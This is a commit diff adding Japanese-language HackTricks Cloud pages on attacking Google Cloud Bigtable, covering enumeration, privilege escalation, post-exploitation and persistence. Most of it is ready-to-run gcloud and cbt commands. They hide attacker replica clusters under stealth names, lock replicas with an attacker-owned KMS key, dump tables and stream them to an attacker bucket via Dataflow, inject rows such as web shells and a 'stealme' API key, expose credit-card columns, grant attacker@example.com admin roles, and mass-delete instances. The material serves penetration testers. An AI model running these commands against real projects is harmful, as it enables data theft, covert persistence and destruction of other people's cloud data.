mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-07 10:50:33 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp
This commit is contained in:
@@ -0,0 +1,52 @@
|
||||
# GCP - Bigtable 永続化
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Bigtable に関する詳細は次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 攻撃者専用 App Profile
|
||||
|
||||
**権限:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
|
||||
|
||||
トラフィックを自分の replica cluster にルーティングする app profile を作成し、Data Boost を有効化して、検出されやすい provisioned nodes に依存しないようにします。
|
||||
```bash
|
||||
gcloud bigtable app-profiles create stealth-profile \
|
||||
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
|
||||
--row-affinity --description="internal batch"
|
||||
|
||||
gcloud bigtable app-profiles update stealth-profile \
|
||||
--instance=<instance-id> --data-boost \
|
||||
--data-boost-compute-billing-owner=HOST_PAYS
|
||||
```
|
||||
このプロファイルが存在する限り、それを参照する新しい認証情報で再接続できます。
|
||||
|
||||
### 自分用のレプリカクラスターを維持する
|
||||
|
||||
**権限:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
|
||||
|
||||
静かなリージョンに最小ノード数のクラスターをプロビジョニングします。クライアントの識別情報が消えても、**クラスターはすべてのテーブルの完全なコピーを保持し続けます**。防御側が明示的に削除するまでは。
|
||||
```bash
|
||||
gcloud bigtable clusters create dark-clone \
|
||||
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
|
||||
```
|
||||
データを引き出す必要があるときに即座にスケールアップできるよう、`gcloud bigtable clusters describe dark-clone --instance=<instance-id>` で監視しておく。
|
||||
|
||||
### レプリケーションを自前の CMEK で保護する
|
||||
|
||||
**権限:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
|
||||
|
||||
クローンを起動する際は自分の KMS key を持ち込む。そのキーがなければ Google はクラスタを再作成したりフェイルオーバーしたりできないため、blue teams は触る前にあなたと調整しなければならない。
|
||||
```bash
|
||||
gcloud bigtable clusters create cmek-clone \
|
||||
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
|
||||
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
|
||||
```
|
||||
プロジェクト内のkeyをローテーションするか無効化して、replicaを即座にbrickします(後で再度有効化できるようにしておけます)。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,251 @@
|
||||
# GCP - Bigtable Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Bigtable の詳細は次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!TIP]
|
||||
> 以下のコマンドをローカルで動作させるため、`cbt` CLI を Cloud SDK 経由で一度インストールしてください:
|
||||
>
|
||||
> ```bash
|
||||
> gcloud components install cbt
|
||||
> ```
|
||||
|
||||
### 行の読み取り
|
||||
|
||||
**権限:** `bigtable.tables.readRows`
|
||||
|
||||
`cbt` は Cloud SDK に同梱されており、ミドルウェアを必要とせず管理/データ API に直接アクセスできます。侵害されたプロジェクト/インスタンスを指定してテーブルから直接行をダンプしてください。ちらっと見るだけならスキャン範囲を制限してください。
|
||||
```bash
|
||||
# Install cbt
|
||||
gcloud components update
|
||||
gcloud components install cbt
|
||||
|
||||
# Read entries with creds of gcloud
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
|
||||
```
|
||||
### 行の書き込み
|
||||
|
||||
**Permissions:** `bigtable.tables.mutateRows`, (変更を確認するには `bigtable.tables.readRows` が必要です)。
|
||||
|
||||
同じツールを使って任意のセルを upsert できます。これは configs に backdoor を仕込み、web shells を drop したり、poisoned dataset rows を植える最も手早い方法です。
|
||||
```bash
|
||||
# Inject a new row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
|
||||
|
||||
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
|
||||
|
||||
# Verify the injected row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
|
||||
```
|
||||
`cbt set` は `@/path` 構文で生のバイト列を受け取るため、compiled payloads や serialized protobufs を下流サービスが期待する形式でそのままプッシュできます。
|
||||
|
||||
### 行をあなたのバケットにダンプする
|
||||
|
||||
**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Dataflow ジョブを起動して行をあなたが管理する GCS バケットへストリームすることで、テーブル全体の内容を攻撃者が管理するバケットへ外部へ持ち出すことが可能です。
|
||||
|
||||
> [!NOTE]
|
||||
> エクスポートを実行する十分な権限を持つ SA に対して `iam.serviceAccounts.actAs` の権限が必要です(デフォルトでは、特に指定がない限り default compute SA が使用されます)。
|
||||
```bash
|
||||
gcloud dataflow jobs run <job-name> \
|
||||
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
|
||||
--project=<PROJECT> \
|
||||
--region=<REGION> \
|
||||
--parameters=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<BUCKET>/raw-json/ \
|
||||
--staging-location=gs://<BUCKET>/staging/
|
||||
|
||||
# Example
|
||||
gcloud dataflow jobs run dump-bigtable3 \
|
||||
--gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json \
|
||||
--project=gcp-labs-3uis1xlx \
|
||||
--region=us-central1 \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
> [!NOTE]
|
||||
> JSONの代わりにParquet/SequenceFile出力が必要な場合は、テンプレートを`Cloud_Bigtable_to_GCS_Parquet`または`Cloud_Bigtable_to_GCS_SequenceFile`に切り替えてください。権限は同じで、テンプレートのパスだけが変わります。
|
||||
|
||||
### 行のインポート
|
||||
|
||||
**権限:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
攻撃者が制御するバケットからテーブル全体の内容をインポートすることは可能で、行をあなたが管理するGCSバケットにストリーミングするDataflowジョブを起動することで実現できます。このため、攻撃者はまず期待されるスキーマでインポートするデータを含むparquetファイルを作成する必要があります。攻撃者は前述の手法に従い`Cloud_Bigtable_to_GCS_Parquet`設定でデータをparquet形式でエクスポートし、ダウンロードしたparquetファイルに新しいエントリを追加することができます。
|
||||
|
||||
|
||||
|
||||
> [!NOTE]
|
||||
> エクスポートを実行するのに十分な権限を持つ Service Account (SA) に対して、`iam.serviceAccounts.actAs` の権限が必要であることに注意してください(デフォルトでは特に指定がない限り、デフォルトの compute SA が使用されます)。
|
||||
```bash
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=<REGION> \
|
||||
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
|
||||
--project=<PROJECT> \
|
||||
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
|
||||
--staging-location=gs://<BUCKET>/staging/
|
||||
|
||||
# Example
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=us-central1 \
|
||||
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
|
||||
--project=gcp-labs-3uis1xlx \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
### バックアップの復元
|
||||
|
||||
**権限:** `bigtable.backups.restore`, `bigtable.tables.create`.
|
||||
|
||||
これらの権限を持つ攻撃者は、自分が管理する新しいテーブルにバックアップを復元して、古い機密データを回復できるようになります。
|
||||
```bash
|
||||
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
|
||||
--cluster=<CLUSTER_ID_SOURCE>
|
||||
|
||||
gcloud bigtable instances tables restore \
|
||||
--source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID> \
|
||||
--async \
|
||||
--destination=<TABLE_ID_NEW> \
|
||||
--destination-instance=<INSTANCE_ID_DESTINATION> \
|
||||
--project=<PROJECT_ID_DESTINATION>
|
||||
```
|
||||
### テーブルの復元
|
||||
|
||||
**権限:** `bigtable.tables.undelete`
|
||||
|
||||
Bigtable はグレース期間(通常デフォルトで7日)付きのソフト削除をサポートしています。この期間中、`bigtable.tables.undelete` 権限を持つ攻撃者は最近削除されたテーブルを復元して全データを回復でき、破棄されたと思われていた機密情報にアクセスする可能性があります。
|
||||
|
||||
特に次の目的で有用です:
|
||||
- incident response 中に防御者が削除したテーブルからデータを復元するため
|
||||
- 意図的にパージされた履歴データにアクセスするため
|
||||
- 偶発的または悪意ある削除を元に戻して persistence を維持するため
|
||||
```bash
|
||||
# List recently deleted tables (requires bigtable.tables.list)
|
||||
gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
--show-deleted
|
||||
|
||||
# Undelete a table within the retention period
|
||||
gcloud bigtable instances tables undelete <table-id> \
|
||||
--instance=<instance-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> undelete 操作は設定された保持期間(デフォルトは 7 日)内でのみ機能します。このウィンドウが経過すると、テーブルとそのデータは完全に削除され、この方法では回復できません。
|
||||
|
||||
### Authorized Views を作成する
|
||||
|
||||
**権限:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
|
||||
|
||||
Authorized views を使うと、テーブルのキュレーションされたサブセットを提示できます。最小権限を尊重する代わりに、関心のある機微なカラム/行のセットだけを正確に公開し、自分のプリンシパルをホワイトリスト化するために使用します。
|
||||
|
||||
> [!WARNING]
|
||||
> Authorized view を作成するには、ベーステーブルの行を読み取りおよび変更できる必要があるため、追加の権限は得られません。したがって、この手法はほとんど役に立ちません。
|
||||
```bash
|
||||
cat <<'EOF' > /tmp/credit-cards.json
|
||||
{
|
||||
"subsetView": {
|
||||
"rowPrefixes": ["acct#"],
|
||||
"familySubsets": {
|
||||
"pii": {
|
||||
"qualifiers": ["cc_number", "cc_cvv"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
gcloud bigtable authorized-views create card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--definition-file=/tmp/credit-cards.json
|
||||
|
||||
gcloud bigtable authorized-views add-iam-policy-binding card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
|
||||
```
|
||||
アクセスが view にスコープされるため、防御側は新たに機密性の高いエンドポイントを作成したことを見落としがちです。
|
||||
|
||||
### Read Authorized Views
|
||||
|
||||
**Permissions:** `bigtable.authorizedViews.readRows`
|
||||
|
||||
Authorized View へのアクセス権がある場合、read リクエストで authorized view 名を指定して Bigtable client libraries を使い、そのデータを読み取ることができます。authorized view はテーブルからアクセスできる内容を制限する可能性がある点に注意してください。以下は Python を使用した例です:
|
||||
```python
|
||||
from google.cloud import bigtable
|
||||
from google.cloud.bigtable_v2 import BigtableClient as DataClient
|
||||
from google.cloud.bigtable_v2 import ReadRowsRequest
|
||||
|
||||
# Set your project, instance, table, view id
|
||||
PROJECT_ID = "gcp-labs-3uis1xlx"
|
||||
INSTANCE_ID = "avesc-20251118172913"
|
||||
TABLE_ID = "prod-orders"
|
||||
AUTHORIZED_VIEW_ID = "auth_view"
|
||||
|
||||
client = bigtable.Client(project=PROJECT_ID, admin=True)
|
||||
instance = client.instance(INSTANCE_ID)
|
||||
table = instance.table(TABLE_ID)
|
||||
|
||||
data_client = DataClient()
|
||||
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
|
||||
|
||||
request = ReadRowsRequest(
|
||||
authorized_view_name=authorized_view_name
|
||||
)
|
||||
|
||||
rows = data_client.read_rows(request=request)
|
||||
for response in rows:
|
||||
for chunk in response.chunks:
|
||||
if chunk.row_key:
|
||||
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
|
||||
print(f"Row: {row_key}")
|
||||
if chunk.family_name:
|
||||
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
|
||||
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
|
||||
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
|
||||
print(f" {family}:{qualifier} = {value}")
|
||||
```
|
||||
### Denial of Service via Delete Operations
|
||||
|
||||
**権限:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
|
||||
|
||||
Bigtable の削除権限はいずれも denial of service 攻撃に悪用され得ます。これらの権限を持つ攻撃者は、重要な Bigtable リソースを削除することで運用を妨害できます:
|
||||
|
||||
- **`bigtable.appProfiles.delete`**: アプリケーションプロファイルを削除し、クライアント接続やルーティング設定を破壊する
|
||||
- **`bigtable.authorizedViews.delete`**: 承認済みビューを削除し、アプリケーションの正当なアクセス経路を遮断する
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`**: 承認済みビューからタグバインディングを削除する
|
||||
- **`bigtable.backups.delete`**: バックアップスナップショットを破壊し、ディザスタリカバリの手段を失わせる
|
||||
- **`bigtable.clusters.delete`**: クラスタ全体を削除し、即時にデータが利用不能になる
|
||||
- **`bigtable.instances.delete`**: Bigtable インスタンスを丸ごと削除し、すべてのテーブルと設定を消失させる
|
||||
- **`bigtable.tables.delete`**: 個々のテーブルを削除し、データ損失やアプリケーション障害を引き起こす
|
||||
```bash
|
||||
# Delete a table
|
||||
gcloud bigtable instances tables delete <table-id> \
|
||||
--instance=<instance-id>
|
||||
|
||||
# Delete an authorized view
|
||||
gcloud bigtable authorized-views delete <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
|
||||
# Delete a backup
|
||||
gcloud bigtable backups delete <backup-id> \
|
||||
--instance=<instance-id> --cluster=<cluster-id>
|
||||
|
||||
# Delete an app profile
|
||||
gcloud bigtable app-profiles delete <profile-id> \
|
||||
--instance=<instance-id>
|
||||
|
||||
# Delete a cluster
|
||||
gcloud bigtable clusters delete <cluster-id> \
|
||||
--instance=<instance-id>
|
||||
|
||||
# Delete an entire instance
|
||||
gcloud bigtable instances delete <instance-id>
|
||||
```
|
||||
> [!WARNING]
|
||||
> 削除操作は多くの場合即時かつ元に戻せません。これらのコマンドをテストする前にバックアップが存在することを確認してください。恒久的なデータ損失や深刻なサービス障害を引き起こす可能性があります。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,104 @@
|
||||
# GCP - Bigtable Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bigtable
|
||||
|
||||
Bigtable の詳細は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `bigtable.instances.setIamPolicy`
|
||||
|
||||
**権限:** `bigtable.instances.setIamPolicy`(通常は現在のバインディングを読み取るために `bigtable.instances.getIamPolicy` も必要です)。
|
||||
|
||||
インスタンスの IAM ポリシーを所有していれば、自分に **`roles/bigtable.admin`**(または任意のカスタムロール)を付与でき、その権限はインスタンス内のすべてのクラスタ、テーブル、バックアップ、および承認済みビューに連鎖的に適用されます。
|
||||
```bash
|
||||
gcloud bigtable instances add-iam-policy-binding <instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
> [!TIP]
|
||||
> 既存のバインディングを一覧表示できない場合は、新しいポリシードキュメントを作成し、自分のアクセス権を維持できる限り `gcloud bigtable instances set-iam-policy` でプッシュしてください。
|
||||
|
||||
この権限を得たら、[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を確認して、Bigtable の権限を悪用する他の方法を参照してください。
|
||||
|
||||
### `bigtable.tables.setIamPolicy`
|
||||
|
||||
**権限:** `bigtable.tables.setIamPolicy` (オプションで `bigtable.tables.getIamPolicy`)。
|
||||
|
||||
インスタンスのポリシーはロックダウンされ、個別のテーブルが委譲されることがあります。テーブルの IAM を編集できる場合、他のワークロードに触れずに **対象データセットのオーナーに自分を昇格させることができます**。
|
||||
```bash
|
||||
gcloud bigtable tables add-iam-policy-binding <table-id> \
|
||||
--instance=<instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
この権限を得たら、詳細については [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を参照し、Bigtable の権限を悪用する追加の手法を確認してください。
|
||||
|
||||
### `bigtable.backups.setIamPolicy`
|
||||
|
||||
**権限:** `bigtable.backups.setIamPolicy`
|
||||
|
||||
バックアップは、あなたが管理する**任意のプロジェクトの任意のインスタンス**に復元できます。まず、自分のアイデンティティにバックアップへのアクセス権を付与し、その後 Admin/Owner ロールを持つサンドボックスに復元します。
|
||||
|
||||
もし `bigtable.backups.setIamPolicy` の権限を持っていれば、自分に `bigtable.backups.restore` の権限を付与して古いバックアップを復元し、機密情報へアクセスを試みることができます。
|
||||
```bash
|
||||
# Take ownership of the snapshot
|
||||
gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
--instance=<instance-id> --cluster=<cluster-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
この権限を持っている場合は、[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を確認して、バックアップの復元方法を確認してください。
|
||||
|
||||
### authorized view の更新
|
||||
|
||||
**権限:** `bigtable.authorizedViews.update`
|
||||
|
||||
Authorized Views は行や列をマスキング(redact)するためのものです。これを変更または削除すると、**防御側が頼りにしている細かなガードレールが失われます**。
|
||||
```bash
|
||||
# Broaden the subset by uploading a permissive definition
|
||||
gcloud bigtable authorized-views update <view-id> \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--definition-file=/tmp/permissive-view.json --ignore-warnings
|
||||
|
||||
# Json example not filtering any row or column
|
||||
cat <<'EOF' > /tmp/permissive-view.json
|
||||
{
|
||||
"subsetView": {
|
||||
"rowPrefixes": [""],
|
||||
"familySubsets": {
|
||||
"<SOME FAMILITY NAME USED IN THE CURRENT TABLE>": {
|
||||
"qualifierPrefixes": [""]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
# Describe the authorized view to get a family name
|
||||
gcloud bigtable authorized-views describe <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
```
|
||||
この権限を持っている場合は、[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を参照して Authorized View からの読み取り方法を確認してください。
|
||||
|
||||
### `bigtable.authorizedViews.setIamPolicy`
|
||||
|
||||
**権限:** `bigtable.authorizedViews.setIamPolicy`.
|
||||
|
||||
この権限を持つ攻撃者は、自分自身に Authorized View へのアクセス権を付与でき、通常はアクセスできない機密データが含まれている可能性のあるビューにアクセスできるようになります。
|
||||
```bash
|
||||
# Give more permissions over an existing view
|
||||
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.viewer'
|
||||
```
|
||||
この権限チェックを [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) で行った後、認可されたビューからの読み取り方法を確認します。
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,10 +1,71 @@
|
||||
# GCP - Bigtable Enum
|
||||
# GCP - Bigtable 列挙
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) <a href="#cloud-bigtable" id="cloud-bigtable"></a>
|
||||
## Bigtable
|
||||
|
||||
大規模な分析および運用ワークロード向けの、完全に管理されたスケーラブルなNoSQLデータベースサービスで、99.999%の可用性を提供します。[詳細はこちら](https://cloud.google.com/bigtable)。
|
||||
Google Cloud Bigtable は、非常に高いスループットと低遅延を必要とするアプリケーション向けに設計されたフルマネージドでスケーラブルな NoSQL データベースです。何千ものノードにわたるペタバイト級の大量データを扱えるように構築されており、読み取りおよび書き込みのパフォーマンスを維持します。Bigtable は、時系列データ、IoT テレメトリ、金融分析、パーソナライズエンジン、大規模な運用データベースなどのワークロードに最適です。基盤となるストレージモデルはスパースで分散された多次元ソートマップを使用しており、多くのカラムが空になるようなワイドテーブルの保存に効率的です。 [Learn more](https://cloud.google.com/bigtable).
|
||||
|
||||
### 階層
|
||||
|
||||
1. **Bigtable インスタンス**
|
||||
|
||||
Bigtable インスタンスは作成する最上位のリソースです。
|
||||
それ自体でデータを保存するわけではなく、クラスタとテーブルをまとめる論理的なコンテナと考えてください。
|
||||
|
||||
インスタンスには 2 種類あります:
|
||||
|
||||
- Development instance(シングルノード、安価、プロダクション向けではない)
|
||||
- Production instance(複数クラスタを持てる)
|
||||
|
||||
2. **Clusters**
|
||||
|
||||
クラスタは Bigtable データを提供するために使用される実際のコンピュートおよびストレージリソースを含みます。
|
||||
|
||||
- 各クラスタは単一のリージョンに属します。
|
||||
- CPU、RAM、ネットワーク容量を提供するノードで構成されます。
|
||||
- 高可用性やグローバルな読み書きのためにマルチクラスタインスタンスを作成できます。
|
||||
- 同一インスタンス内のクラスタ間でデータは自動的に複製されます。
|
||||
|
||||
重要:
|
||||
- テーブルは特定のクラスタではなくインスタンスに属します。
|
||||
- クラスタは単にデータを提供するためのリソースを提供します。
|
||||
|
||||
3. **Tables**
|
||||
|
||||
Bigtable のテーブルは NoSQL データベースのテーブルに似ています:
|
||||
|
||||
- データは行に格納され、行は row key で識別されます。
|
||||
- 各行はカラムファミリを含み、カラムファミリがカラムを含みます。
|
||||
- スパースであるため、空のセルはスペースを消費しません。
|
||||
- Bigtable は row key によって辞書式(lexicographic)にソートされた状態でデータを保存します。
|
||||
|
||||
テーブルはインスタンス内のすべてのクラスタによって提供されます。
|
||||
|
||||
4. **Tablets(およびホットタブレット)**
|
||||
|
||||
Bigtable は各テーブルを tablet と呼ばれる水平パーティションに分割します。テーブルは次のようなものです:
|
||||
|
||||
- 行キーの連続した範囲。
|
||||
- 任意の時点で単一のノードに格納されます。
|
||||
- Tablets は Bigtable によって自動的に分割、結合、移動されます。
|
||||
|
||||
**ホットタブレット(hot tablet)** は次の場合に発生します:
|
||||
|
||||
- 同じ行キー範囲(同一の tablet)に対して読み取りまたは書き込みが過度に集中する。
|
||||
- その特定の tablet/ノードが過負荷になる。
|
||||
- これによりホットスポット(パフォーマンスのボトルネック)が発生します。
|
||||
|
||||
5. **Authorized Views**
|
||||
|
||||
Authorized views を使うと、テーブル全体へのアクセス権を与えずに特定のユーザーやアプリケーションと共有できるテーブルデータのサブセットを作成できます。これは次の用途に有用です:
|
||||
|
||||
- センシティブなデータへのアクセスを制限する。
|
||||
- 特定のカラムや行に対する読み取り専用アクセスを提供する。
|
||||
|
||||
6. **App プロファイル**
|
||||
|
||||
Bigtable の App プロファイルは、特に複数クラスタが存在する環境で、特定のアプリケーションやクライアントが Bigtable インスタンスとどのようにやり取りするかを定義する設定です。ルーティングの挙動(リクエストを単一クラスタへ向けるか高可用性のために複数クラスタへ分散するか)を制御し、書き込みの複製方法(同期的:より強い一貫性、非同期的:低遅延)を決定します。
|
||||
```bash
|
||||
# Cloud Bigtable
|
||||
gcloud bigtable instances list
|
||||
@@ -15,6 +76,11 @@ gcloud bigtable instances get-iam-policy <instance>
|
||||
gcloud bigtable clusters list
|
||||
gcloud bigtable clusters describe <cluster>
|
||||
|
||||
## Tables
|
||||
gcloud bigtable tables list --instance <INSTANCE>
|
||||
gcloud bigtable tables describe --instance <INSTANCE> <TABLE>
|
||||
gcloud bigtable tables get-iam-policy --instance <INSTANCE> <TABLE>
|
||||
|
||||
## Backups
|
||||
gcloud bigtable backups list --instance <INSTANCE>
|
||||
gcloud bigtable backups describe --instance <INSTANCE> <backupname>
|
||||
@@ -26,5 +92,27 @@ gcloud bigtable hot-tablets list
|
||||
## App Profiles
|
||||
gcloud bigtable app-profiles list --instance <INSTANCE>
|
||||
gcloud bigtable app-profiles describe --instance <INSTANCE> <app-prof>
|
||||
|
||||
## Authorized Views
|
||||
gcloud bigtable authorized-views list --instance <INSTANCE> --table <TABLE>
|
||||
gcloud bigtable authorized-views describe --instance <INSTANCE> --table <TABLE> <VIEW>
|
||||
```
|
||||
## Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-bigtable-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-bigtable-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-bigtable-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user